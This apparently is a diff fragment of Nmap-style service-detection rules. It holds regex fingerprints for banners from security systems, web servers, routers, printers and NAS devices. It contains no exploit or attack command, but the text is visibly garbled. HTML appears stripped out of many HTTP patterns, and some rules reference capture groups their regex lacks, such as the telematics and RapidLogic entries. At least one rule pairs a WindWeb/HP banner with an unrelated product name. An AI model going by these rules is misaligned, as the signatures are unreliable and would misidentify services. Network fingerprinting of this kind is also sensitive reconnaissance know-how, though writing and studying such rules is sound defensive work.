Tournament 2004 control server/ + +match g-data-sec m|^\x94\x00\x00\x00\x06\x02\x00\x00\x00\xa4\x00\x00RSA1\x00\x04\x00\x00\x01\x00\x01\x00.{128}|s p/G Data Security client/ +# http://www.galaxysys.com/data/docs/SG%20Software%20User%20Guide%20%2810.4%29.pdf +match gcs-clientgw m|^\x04\0\0\0....$| p/Galaxy Control Systems Client GW/ d/security-misc/ + +match geovision-mobile m|^D3\x22\x11\0\0\0\0\xc6\x11\0\0\xae\x15\0\0$| p/Geovision mobile device support/ + +match gnats m|^200 ([-.\w]+) GNATS server (\d[-.\w]+) ready\.\r\n| p/GNATS bugtracking system/ v/$2/ h/$1/ cpe:/a:gnu:gnats:$2/ + +match ganglia m|^<\?xml version=\"1\.0\".*.*\n \n|s p/Ganglia XML Grid monitor/ + +# Port 5400. Looks like UTF-16-LE-encoded pseudo-XML with embedded base64: +# m|^\xde\xad\xad\xdeZ\x03\0\0\x7e\x9bxeVersion\x7c1024\x7cuGSY...AQAB\x7c$| +match genetec-5400 m|^\xde\xad\xad\xdeZ\x03\0\0\x7e\x9bxeV\0e\0r\0s\0i\0o\0n\0\x7c\x001\x000\x002\x004\0\x7c\0<\0R\0S\0A\0K\0e\0y\0V\0a\0l\0u\0e\0>\0<\0M\0o\0d\0u\0l\0u\0s\0>\0(?:[\w/+=]\0)+<\0/\0M\0o\0d\0u\0l\0u\0s\0>\0<\0E\0x\0p\0o\0n\0e\0n\0t\0>\0(?:[\w/+=]\0)+<\0/\0E\0x\0p\0o\0n\0e\0n\0t\0>\0<\0/\0R\0S\0A\0K\0e\0y\0V\0a\0l\0u\0e\0>\0\x7c\0$| p/Genetec Security Center/ +match genetec-5500 m|^\xde\xad\xad\xde\0\x01\0\0\xd6\xa0L\xc2\x0b\0\r\xcf\x88\"\xf2\xb7\xc9D\x81\x08\xe3\"\x16\x9a\x86\xb9\r\xcf\x88\"\xf2\xb7\xc9D\x81\x08\xe3\"\x16\x9a\x86\xb9\x04\0\0\0\0\0\0\0\0\x01\0\0\r\xcf\x88\"\xf2\xb7\xc9D\x81\x08\xe3\"\x16\x9a\x86\xb9\0\x04\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$| p/Genetec Security Center/ + +match git-daemon m|^Unknown option: --inetd\nusage: git \[--version\] \[--exec-path\[=GIT_EXEC_PATH\]\] \[--html-path\] \[-p\x7c--paginate\x7c--no-pager\] \[--bare\] \[--git-dir=GIT_DIR\] \[--work-tree=GIT_WORK_TREE\] \[--help\] COMMAND \[ARGS\]\n| p/git-daemon/ i/misconfigured/ cpe:/a:git:git/ + +softmatch teamtalk m%^(?:teamtalk|welcome) userid=\d+ servername=% p/BearWare TeamTalk/ cpe:/a:bearware:teamtalk/ + +match telematics m|^\0\0| p/Mercedes telematics/ v/$1/ i/model: $2; telematics: $3/ +match telnet m|^\xff\xfe\x01Domain 2 \(STUDENT03\)\r\n\r\n\r\n\r\n\r\n======================\r\n Main menu\r\n======================\r\n\?\) Help\r\nx\) Exit\r\n$| p/Genetec Security Center/ +match telnet m|^\xff\xfe\x01Genetec Synergis Access Manager \(STUDENT03\)\r\n\r\n\r\n\r\n\r\n======================\r\n Main menu \r\n======================\r\n1\) Status\r\n\?\) Help\r\nx\) Exit\r\n| p/Genetec Synergis Access Manager/ +match telnet m|^\xff\xfe\x01Genetec Directory \(STUDENT03\)\r\n\r\n\r\n\r\n\r\n======================\r\n Main menu\r\n======================\r\n1\) Status\r\n\?\) Help\r\nx\) Exit\r\n| p/Genetec Directory/ +match telnet m|^\xff\xfe\x01Genetec Integration Service \(STUDENT03\)\r\n\r\n\r\n\r\n========================================================================\r\n Integration Service Main Menu\r\n========================================================================\r\n\r\n 1\) CONFIG\r\n Displays the configuration settings for the service\r\n\r\n 2\) STATUS\r\n Displays the status of the external systems being run by this\r\n service\.\r\n\r\n \?\) Help\r\n\r\n x\) Exit\r\n========================================================================\r\n| p/Genetec Integration Service/ + +match goldsync m|^%%QU%%QU%%QU$| p/GoldMine GoldSync synchronization/ + +# http://gmc.yoyogames.com/index.php?showtopic=657080 +match gms m|^GM:Studio-Connect\0$| p/GMS gaming protocol/ + +# Probably not general enough... +match gnatbox m|^GBPK\xfb\xf7n\x93W\xaf\x86\x93x@\xa9\x0e\xca\*\x9bS\0| p/Global Technology Associates Gnat Box firewall administration/ d/firewall/ + +match gnupg m|^OK GNU Privacy Guard's OpenPGP server ([\w._-]+) ready\n| p/GnuPG server mode/ v/$1/ cpe:/a:gnupg:gnupg:$1/ + +softmatch gkrellm m|^\nClient limit exceeded\.\n| p/GKrellM System Monitor/ +softmatch gkrellm m|^\nConnection not allowed from .*\n| p/GKrellM System Monitor/ + +match gopher m|^3Connection to [\d.]+ is denied -- no authorization\.\r\n$| +match g6-remote m|^200 1400\r\n$| p/G6 ftpd remote admin/ o/Windows/ cpe:/o:microsoft:windows/a + +match giop m|^GIOP\x01...\0\0\0\0|s p/CORBA naming service/ + +match guildwars2-heartbeat m|^\x17\0\0\0\0\t\0\0\0Heartbeat \0\0\0\x046\0\0\0\0\n\0\0\0Compressed \0\0\0\x04\x1a| p/Guild Wars 2 game heartbeat/ + +# CompTek AquaGateKeeper (Telephony package) http://aqua.comptek.ru +match H.323-gatekeeper m|^\x03\0\0.*@|s p/CompTek AquaGateKeeper/ +# OpenH323 Gatekeeper 2.0.3 +match H.323-gatekeeper m|^\xff\xfd\x03\xff\xfb\x05.*Version:\r\nGatekeeper\(GNU\) Version\(([\d.]+)\) Ext\(.*\) Build\(.*\) Sys\(Linux .*\)\r\n| p/OpenH323 Gatekeeper/ v/$1/ o/Linux/ cpe:/o:linux:linux_kernel/a +# Causes false matches with telnet. +# match H.323-gatekeeper m|^\xff\xfd.$| p|GNU Gatekeeper| +match H.323-gatekeeper m|^\xff\xfd\x03\xff\xfb\x05\xff\xfe\x01\r\nAccess forbidden!\r\n$| p/GNU Gatekeeper/ cpe:/a:gnugk:gnu_gatekeeper/ +match H.323-gatekeeper m|^\x03\0\0\.\x08\x02\0\0Z~\0\"\x05%\xc0\x06\0\x08\x91J\0\x02X\x08\x11\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x02\x80\x01\0$| p/GNU Gatekeeper/ cpe:/a:gnugk:gnu_gatekeeper/ + +match hama-radio m|^\(Thread\d+\): \[ *\d+\.\d+\] [A-Z]+ *\(\d+\): .*\r\n| p/HAMA Wifi-Radio status/ d/media device/ +match hama-radio2 m|^w\d{5}.{255}h@|s p/HAMA radio service/ d/media device/ + +# Returns ASCII data in the following format: +# |HardDrive1DevName|HardDrive1HardwareID|HardDrive1Temp|TempUnit| +# |HardDrive2DevName|HardDrive2HardwareID|HardDrive2Temp|TempUnit| +match hddtemp m=^\|/dev/[hs]\w\w\|= p/hddtemp hard drive info server/ +match hddtemp m=^\|$= p/hddtemp hard drive info server/ + +match helpdesklog m|^Helpdesk Advanced ([\d.]+) License Logging Service| p/Helpdesk Advanced license server/ v/$1/ + +match honeywell-ripsd m|^\0\x10\x03\x0c$| p/Honeywell ripsd power management server/ + +match hptsvr m|^\(\0\0\0hpt_stor\x01..\xbf\0\0\0\0\0\0\0\0....\.\.\.E\0\0\0\0\0\0\0\0$|s p/HighPoint RAID management service/ v/3.13/ +match hptsvr m|^\(\0\0\0\0\0\0\0..`\0\x01\xff\xff\xff\xcc\xfa\x85\0C\x1d\xe6whfnk\.\.\.E\0\0\0\0\0\0\0\0$| p/HighPoint RAID management service/ +# version unknown +softmatch hptsvr m|^\(\0\0\0hpt_stor\x01..\0\0\0\0\0\0\0\0\0....\.\.\.E\0\0\0\0\0\0\0\0$|s p/HighPoint RAID management service/ + +match hpiod m|^msg=MessageError\nresult-code=5\n$| p/HP Linux Imaging and Printing System/ o/Linux/ cpe:/a:hp:linux_imaging_and_printing_project/ cpe:/o:linux:linux_kernel/a + +# And now for some SORRY web servers that just blurt out an http "response" upon connection!!! +match http m|^HTTP/1\.1 200 OK\r\nContent-type: text/html\r\nExpires: .*\r\nDate: .*\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\nJAP\n| p/Java Anonymous Proxy/ +match http m|^HTTP/1.0 500\r\nContent-type: text/plain\r\n\r\nNo Scan Capable Devices Found\r\n| p/HP Embedded Web Server remote scan service/ i/no scanner found/ d/printer/ +# SMC Barricade 7004ABR +match http m|^HTTP/1\.0 301 Moved\r\nLocation: http://\d+\.\d+\.\d+\.\d+:88\r\n| p/SMC Barricade broadband router/ i/simply redirects to real web admin port 88/ d/broadband router/ +match http m|^HTTP/1\.0 \d\d\d .*\r\nServer: SonicWALL\r\n| p/SonicWALL firewall http config/ d/firewall/ +match http m|^HTTP/1\.0 500 Internal Server Error\r\nDate: .*\r\nContent-type: text/html\r\nExpires: .*\r\n\r\n

500 Internal Server Error

\r\n\r\n\r\n| p/Cisco Catalyst http config/ d/switch/ o/IOS/ cpe:/o:cisco:ios/a +match http m|^HTTP/1\.1 200 OK\nMax-Age: 0\nExpires: 0\nCache-Control: no-cache\nCache-Control: private\nPragma: no-cache\nContent-type: multipart/x-mixed-replace;boundary=BoundaryString\n\n--BoundaryString\n| p/Motion Webcam gateway httpd/ +match http m|^HTTP/1\.[01] 200 OK\r\nServer: Motion/([\d.]+)\r\n| p/Motion Camera httpd/ v/$1/ d/webcam/ +match http m|^HTTP/1\.1 200 OK\r\nServer: Motion-httpd/([\d.]+)\r\n| p/Motion-httpd/ v/$1/ d/webcam/ +match http m|^HTTP/1\.1 \d\d\d .*\nServer: Motion/([\d.]+)\n.*\nContent-type: image/jpeg\n|s p/Motion webcam httpd/ v/$1/ +match http m|^HTTP/1\.1 \d\d\d .*\r\nContent-Type: text/plain\r\nServer: WPA/([-\w_.]+)\r\n\r\n| p/Glucose WeatherPop Advanced httpd/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match http m|^HTTP/1\.0 503 R\r\nContent-Type: text/html\r\n\r\nBusy$| p/D-Link router http config/ d/router/ +match http m|^501 Not Implemented\n

501 Not Implemented

\nThe server has not implemented your request type\.
\n\r\n$| p/Hummingbird Document Manager httpd/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\n\n\n
  • \n[^<]+\n
    • \nNice\n
      • \nNumber: \d+
      \nProgramArguments\n
        \n
      1. String: [^<]+
      2. \n| p/Apple launchd_debug httpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\n\n\n
        • \ncom\.apple\.KernelEventAgent\n| p/Apple launchd_debugd httpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match http m|^HTTP/1\.0 400 Bad Request\r\nServer: Speed Touch WebServer/([\d.]+)\r\n| p|Alcatel/Thomson SpeedTouch ADSL http config| v/$1/ d/broadband router/ +match http m|^HTTP/1\.1 408 Request Time-Out\r\nConnection: Close\r\n\r\n$| p/Konica Minolta bizhub printer http config/ d/printer/ +match http m|^HTTP/1\.1 400 Bad Request\r\n(?:[^\r\n]+\r\n)*?\r\n

          Bad Request \(Invalid Verb\)

          |s p/Microsoft IIS httpd/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a +match http m|^
          Authentication failed
          \r\n$| p/InterSect Alliance SNARE http config/ cpe:/a:intersectalliance:system_intrusion_analysis_and_reporting_environment/ +match http m|^HTTP/1\.1 408 Request Timeout\nContent-Length:0\nContent-Type:text/html;charset=UTF-8\n\n$| p/Finchsync PocketPC Synchonizer httpd/ +match http m|^HTTP/1\.1 200 OK\nServer: NetSupport Gateway/([\d.]+) \(Windows NT\)\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 14\nConnection: Keep-Alive\n\nCMD=HEARTBEAT\n$| p/NetSupport Gateway httpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nExpires: Thu, 26 Oct 1995 00:00:00 GMT\r\nTransfer-Encoding: chunked\r\nServer: Allegro-Software-RomPager/([\d.]+)\r\n\r\n| p/Allegro RomPager/ v/$1/ i/Dell DRAC config/ d/remote management/ cpe:/a:allegro:rompager:$1/ +match http m|^HTTP/1\.1 \d\d\d .*\r\nServer: micro_httpd\r\n| p/micro_httpd/ cpe:/a:acme:micro_httpd/a cpe:/o:acme:micro_httpd/ +# http://code.google.com/p/free-android-apps/wiki/Project_LocalHTTPD +match http m|^HTTP/1\.0 500 Internal Server Error \r\nContent-Type: text/plain\r\nDate: .*\r\n\r\nSERVER INTERNAL ERROR: Invalid ip\.$| p/Local HTTPD/ i/based on NanoHTTPD/ d/phone/ +match http m|^HTTP/1\.0 400 Bad Request\r\nServer: httpd-impacct/([^\r\n]+)\r\nContent-type: text/html\r\n\r\n400 Bad Request\n

          400 Bad Request

          \nYour request has bad syntax or is inherently impossible to satisfy\.\n
          \n\n$| p/thttpd/ v/$1/ i/Asotel Vector 1908 switch http config/ d/switch/ cpe:/a:acme:thttpd:$1/ +match http m|^HTTP/1\.1 200 OK\r\nServer: DVBViewer \(Windows\)\r\nContent-Type: video/mpeg2\r\n\r\n\r\n| p/DVBViewer digital TV viewer httpd/ o/Windows/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.1 400 Bad Request\r\nserver: kolibri-([\w._-]+)\r\ncontent-type: text/plain\r\ncontent-length: 11\r\n\r\nBad Request$| p/Kolibri httpd/ v/$1/ cpe:/a:senkas:kolibri:$1/ +match http m|^HTTP/1\.1 405 Method Not Allowed\r\nServer: remote-potato-v([\w._-]+)\r\n| p/Remote Potato media player/ v/$1/ +# The date reveals the time zone instead of using GMT. +match http m|^HTTP/1\.1 405 Method Not Allowed\r\nDate: ([^\r]+)\r\nServer: Embedthis-Appweb/([\w._-]+)\r\n| p/Embedthis-Appweb/ v/$2/ i/date: $1/ cpe:/a:mbedthis:appweb:$2/ +match http m|^HTTP/1\.0 503 Service Unavailable\r\nDate: .* GMT\r\nServer: Embedthis-Appweb/([\w._-]+)\r\n| p/Embedthis-Appweb/ v/$1/ i/Sharp Open System Architecture/ d/printer/ cpe:/a:mbedthis:appweb:$1/ +match http m|^HTTP/1\.1 400 Bad Request\r\nServer: Microsoft-Cassini/([\w._-]+)\r\n| p/Microsoft Cassini httpd/ v/$1/ o/Windows/ cpe:/a:microsoft:cassini:$1/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.1 408 Request Timeout\r\nServer: WebSphere Application Server/([\w._-]+)\r\nContent-Type: text/html\r\nContent-Length: 117\r\n| p/IBM WebSphere Application Server/ v/$1/ cpe:/a:ibm:websphere_application_server:$1/ +match http m|^HTTP/1\.0 200 Ok Welcome to VOC\r\nServer: Voodoo chat daemon ver ([\w._ -]+)\r\nContent-type: text/html\r\nExpires: Mon, 08 Apr 1976 19:30:00 GMT\+3\r\nConnection: close\r\nKeep-Alive: max=0\r\nCache-Control: no-store, no-cache, must-revalidate\r\nCache-Control: post-check=0, pre-check=0\r\nPragma: no-cache\r\n\r\n$| p/Voodoo http chat daemon/ v/$1/ +match http m|^HTTP/1\.1 400 Bad Request\r\nServer: Cassini/([\w._-]+)\r\n.*\n\n
          \n

          Invalid Access

          \n
          \n

          \n\n\n\n| p/Cisco ATA186 VoIP adapter http config/ d/VoIP adapter/ cpe:/h:cisco:ata186/a +match http m|^HTTP/1\.0 200 OK\r\nServer: http server ([\w._-]+)\r\nContent-type: text/html; charset=\(null\)\r\n.*\n$|s p/QNAP TS-109 NAS http config/ v/$1/ d/storage-misc/ cpe:/h:qnap:ts-109/ +match http m|^HTTP/1\.0 200 OK\r\nServer: http server ([\w._-]+)\r\n.*NAS\n\n|s p/QNAP Turbo or TS-459 Pro+ NAS http config/ v/$1/ d/storage-misc/ +match http m|^HTTP/1\.0 404 no application for: /\r\nServer: HttpServer\r\n\r\n$| p/Galleon TiVo Application Port http config/ d/media device/ +match http m|^HTTP/1\.0 404 File not found\r\nServer: HttpServer\r\n\r\n$| p/Galleon TiVo Publishing Port http config/ d/media device/ +match http m|^HTTP/1\.1 302 Redirect\r\nServer: GoAhead-Webs\r\nDate: .*\r\nConnection: close\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nLocation: http://\(null\)/config/log_off_page\.htm\r\n\r\n| p/GoAhead WebServer/ i/Dell PowerConnect Gigabit switch http config/ d/switch/ cpe:/a:goahead:goahead_webserver/a +match http m|^HTTP/1\.0 301 Moved Permanently\r\nContent-Length: 0\r\nConnection: close\r\nLocation: /main/main\.html\r\nServer: debut/([\w._-]+)\r\n\r\n| p/debut httpd/ v/$1/ i/Brother MFC-8860DN printer http config/ d/printer/ cpe:/h:brother:mfc-8860dn/a +match http m|^HTTP/1\.1 302 Moved Temporarily\r\nDate: .*\r\nServer: Avocent DSView ([\w._/-]+)\r\nLocation: https://([\w._-]+)/dsview/\r\nConnection: close\r\n\r\n| p/Avocent DSView remote management httpd/ v/$1/ h/$2/ +match http m|^HTTP/1\.0 \d\d\d .*\r\nDate: .*\r\nServer: RAID HTTPServer/([\w._-]+)\r\n| p/Sun StorEdge 3511 http config/ v/$1/ d/storage-misc/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\n.*Samsung Printer Status.*var contentURI = \"/general/printerDetails\.htm\"|s p/Samsung printer http config/ d/printer/ +match http m|^HTTP/1\.0 200 OK\r\nCache-control: no-cache\r\nServer: Ubicom/([\w._-]+)\r\n.*NETGEAR WNHDE111 |s p/Ubicom httpd/ v/$1/ i/Netgear WNHDE111 WAP http config/ d/WAP/ cpe:/a:ubicom:httpd:$1/ cpe:/h:netgear:wnhde111/a +match http m|^HTTP/1\.0 200 (?:[^\r\n]*\r\n(?!\r\n))*?Server: Server\r\n.*<title>[nN]euf ?box - Accueil|s p/SFR Neuf Box DSL modem http config/ d/broadband router/ +match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Axigen-Webmail\r\n|s p/Axigen webmail httpd/ cpe:/a:gecad:axigen_mail_server/ +match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Axigen-Webadmin\r\n|s p/Axigen webadmin httpd/ cpe:/a:gecad:axigen_mail_server/ +match http m|^HTTP/1\.0 200 (?:[^\r\n]*\r\n(?!\r\n))*?Server: Allegro-Software-RomPager/([\w._-]+)\r\n\r\n\n\n.*\n\n(.*) - VSX 7000A| p/NetPort httpd/ v/$1/ i/Polycom VSX 7000A http config; name $2/ d/webcam/ cpe:/h:polycom:vsx_7000a/a +match http m|^HTTP/1\.1 301 Moved Permanently\r\nServer: Virata-EmWeb/R([\w._-]+)\r\nLocation: https://[\w._-]+/\+webvpn\+/index\.html\r\n| p/Virata-EmWeb/ v/$SUBST(1,"_",".")/ i/Cisco WebVPN http config/ d/security-misc/ cpe:/a:virata:emweb:$SUBST(1,"_",".")/a +match http m|^HTTP/1\.0 200 OK\r\nServer: dtHTTPd/([\w._-]+)\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nConnection: close\r\n\r\n(UX-\w+)| p/dtHTTPd/ v/$1/ i/Sharp Broadband $2 Fax http config/ d/printer/ cpe:/h:sharp:$2/ +match http m|^HTTP/1\.0 200 OK\r\nServer: dtHTTPd/([\w._-]+)\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nConnection: close\r\n\r\n(FO-\w+)| p/dtHTTPd/ v/$1/ i/Sharp $2 printer http config/ d/printer/ cpe:/h:sharp:$2/ +match http m|^HTTP/1\.1 200 OK\r\nServer: Conexant-EmWeb/R([\w._-]+) SIPGT/([\w._-]+)\r\n.*Login page.*NOTE: The requested URL could not be retrieved.*background-image: url\(/html/de/images/bg_ramp\.jpg\);\r\n|s p/AVM FRITZ!Box WAP http config/ d/WAP/ +match http m|^HTTP/1\.0 404 Not Found\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n.*Note: The requested URL could not be retrieved\..*background-image: url\(\.\./\.\./de/images/bg_ramp\.jpg\);\n|s p/AVM FRITZ!Box WLAN 7270 WAP http config/ d/WAP/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Length: \d+\r\nContent-Type: text/html.*\r\nPragma: no-cache\r\nServer: Webserver\r\nWWW-Authenticate: Basic realm=\"HTTPS Access\"\r\n\r\n401 Unauthorized \(ERR_ACCESS_DENIED\)

          401 Unauthorized


          ERR_ACCESS_DENIED
          Webserver| p/AVM FRITZ!Box WAP http config/ d/WAP/ +match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: lighttpd[/ ]([\d.]+) \(([^)]+)\)\r\n|si p/lighttpd/ v/$1/ i/$2/ cpe:/a:lighttpd:lighttpd:$1/ +match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: lighttpd[/ ]([\d.]+)\r\n|si p/lighttpd/ v/$1/ cpe:/a:lighttpd:lighttpd:$1/ +match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: lighttpd|si p/lighttpd/ cpe:/a:lighttpd:lighttpd/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: micro_httpd\r\nCache-Control: no-cache\r\nDate: .*\r\nWWW-Authenticate: Basic realm=\"U\.S\. Robotics ADSL Router\"\r\n| p/micro_httpd/ i/USRobotics USR9107A ADSL http config/ d/broadband router/ cpe:/a:acme:micro_httpd/ +match http m|^HTTP/1\.0 200 Ok\r\nServer: httpd\r\nDate: .*\n\n\n\n\r\n$| p/RapidLogic httpd/ v/$1/ i/3Com 3CRWE454G75 WAP http config/ d/WAP/ cpe:/a:rapidlogic:httpd:$1/ cpe:/h:3com:3crwe454g75/a +match http m|^HTTP/1\.0 200 OK\r\nServer: RapidLogic/([\d.]+)\r\nMIME-version: 1\.0\r\nContent-type: text/html\r\n\r\n\r\n$| p/RapidLogic httpd/ v/$1/ i/Netgear WAG102 WAP http config/ d/WAP/ cpe:/a:rapidlogic:httpd:$1/ cpe:/h:netgear:wag102/a +match http m|^HTTP/1\.0 302 Moved Temporarily\r\nServer: RapidLogic/([\d.]+)\r\nMIME-version: 1\.0\r\nContent-type: text/html; charset=UTF-8\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nLocation: /main\.html\r\n\r\n\r\n$| p/RapidLogic httpd/ v/$1/ i/Sharp MX-2700N printer/ d/printer/ cpe:/a:rapidlogic:httpd:$1/ cpe:/h:sharp:mx-2700n/a +match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nServer: ZING-(\d+/[\d.]+) \([0-9a-f]{32}; [\w-]+\) ([^\r\n]*)\r\n\r\n$| p/ZING httpd/ v/$1/ i/SanDisk Sansa Connect MP3 player; $2/ d/media device/ +match http m|^HTTP/1\.0 503 Service Unavailable\r\nContent-Type: text/html\r\nContent-Length: 169\r\n\r\n503 Service Unavailable

          503 Service Unavailable

          The service is not available\. Please try again later\.

          $| p/Alcatel-Lucent OmniPCX PBX httpd/ d/PBX/ cpe:/a:alcatel-lucent:omnipcx/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nServer: \r\nDate: .* GMT\r\nWWW-Authenticate: Basic realm=\"\.\"\r\nContent-type: text/html\r\nConnection: close\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \nAuthorization required\.\n
          \n\n$| p/Alcatel-Lucent OmniPCX PBX httpd/ d/PBX/ cpe:/a:alcatel-lucent:omnipcx/ +match http m|^HTTP/1\.0 301 Moved Permanently \r\nContent-Type: text/html\r\nDate: .*\r\nLocation: /fusionreactor/\r\n\r\nRedirecting, please wait\.$| p/FusionReactor web server monitor/ +match http m|^HTTP/1\.0 401 Authorization Required\r\nServer: wgt_http ([\d.]+)\r\nWWW-Authenticate: Basic realm=\"Anlage\"\r\nConnection: close\r\n$| p/wgt_http/ v/$1/ i/Eumex 704PC ADSL router/ d/broadband router/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Alvarion-Webs\r\nDate: THU JAN 01 01:04:22 1970\r\nWWW-Authenticate: Basic realm=\"Alvarion\"\r\n.*Document Error: Unauthorized\r\n\t\t

          Access Error: Unauthorized

          \r\n\t\t

          Access to this document requires a User ID

          \r\n\r\n$|s p/Alvarion-Webs/ i/Alvarion BreezeMAX WiMAX WAP http config/ d/WAP/ +match http m|^HTTP/1\.0 400 Bad Request\r\nPragma: no-cache\r\nContent-type: text/html\r\n\r\n\n \n 400 Bad Request !!!| p/DrayTek Vigor ADSL router httpd/ d/broadband router/ +match http m|^HTTP/1\.0 200 ;OK\r\nServer: \?\?\?\?\?\?\?\?\?\?\?\?\?\?\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n\nJacarta interSeptor\n| p/Jacarta interSeptor environmental monitor http/ d/specialized/ +match http m|^HTTP/1\.0 302 Document Follows\r\nLocation: http:///index\.htm\r\nConnection: close\r\n\r\n| p/Dell PowerVault TL4000 http config/ d/storage-misc/ +match http m|^HTTP/1\.0 302 Found\r\nConnection: close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: -1\r\nLocation: https?://[\d.]+/login\.htm\r\n\r\n.*Click Here to proceed\.\n|s p/3Com Baseline Switch 2948-SFP Plus web config/ d/switch/ +match http m|^HTTP/1\.0 401 Unauthorized\.\r\nWWW-Authenticate: Basic realm=\"GAI-Tronics\"\r\nContent-Type: text/html\r\n\r\n401 Unauthorized\.\r\n\r\n

          401 Unauthorized

          The requested URL / requires authorization\.

          \r\n


          \r\n\r\n$| p/GAI-Tronics Commander VoIP phone http config/ d/VoIP phone/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 0\r\nServer: HBHTTP POGOPLUG - ([\d.]+) - Linux\r\nDate: .*\r\n\r\n$| p/HBHTTP/ v/$1/ i/Pogoplug NAS device/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 500 Server Error\r\nContent-Length: 0\r\nServer: HBHTTP POGOPRO - ([\w._-]+) - Linux\r\nDate: .*\r\nConnection: close\r\n\r\n$| p/HBHTTP/ v/$1/ i/Pogoplug Pro NAS device/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 500 Server Error\r\nContent-Length: 0\r\nServer: HBHTTP DISCOVERY - (\d[\w._-]+) - Linux\r\n| p/HBHTTP/ v/$1/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nDate: .*\r\nExpires: Thu, 26 Oct 1995 00:00:00 GMT\r\n(?:[^\r\n]+\r\n)*?Server: Allegro-Software-RomPager/([\d.]+)\r\n.*Emerson Network Power IntelliSlot Web/(\d+) Card|s p/Allegro RomPager/ v/$1/ i|Emerson Network Power IntelliSlot Web/$2 card| d/power-device/ cpe:/a:allegro:rompager:$1/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nDate: .*\r\nLocation: https://([\w.]+)/?\r\nConnection: close\r\nContent-Length: 0\r\n\r\n|s p/VMware Server 2 http config/ h/$1/ cpe:/a:vmware:server:2/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nServer: WindWeb/([\d.]+)\r\nDate: .*\r\nContent-Type: text/html\r\nWWW-Authenticate: Basic realm=\"HP\"\r\n.*\r\n|s p/SimpleHelp remote desktop httpd/ +match http m|^HTTP/1\.0 302 Object Moved\r\n(?:[^\r\n]+\r\n)*?Location: /\+CSCOE\+/logon\.html\r\nSet-Cookie: tg=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure\r\n|s p/Cisco ASA firewall http config/ d/firewall/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n(?:[^\r\n]+\r\n)*?Set-Cookie: tg=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure\r\nSet-Cookie: webvpn=;.*/\+CSCOE\+/logon\.html|s p/Cisco ASA firewall http config/ d/firewall/ +match http m|^HTTP/1\.0 302 Moved Temporarily\r\n(?:[^\r\n]+\r\n)*?Server: Mbedthis-Appweb/([\d.]+)\r\n(?:[^\r\n]+\r\n)*?Set-Cookie: _appwebSessionId_=|s p/Mbedthis-Appweb/ v/$1/ i/Iomega StorCenter ix2 NAS device/ d/storage-misc/ cpe:/a:mbedthis:appweb:$1/ cpe:/h:iomega:storcenter_ix2/a +match http m|^HTTP/1\.0 302 Moved Temporarily\r\nContent-Type: text/html\r\nLocation: /EnterpriseController\r\n| p/GoogleMini search appliance httpd/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: micro_httpd\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"Huawei SmartAX (\w+)\"\r\n|s p/micro_httpd/ i/Huawei SmartAX $1 ADSL router http config/ d/broadband router/ cpe:/a:acme:micro_httpd/ cpe:/h:huawei:smartax_$1/a +match http m|^HTTP/1\.0 200 OK Content-type: text/html\r\n\r\n.*

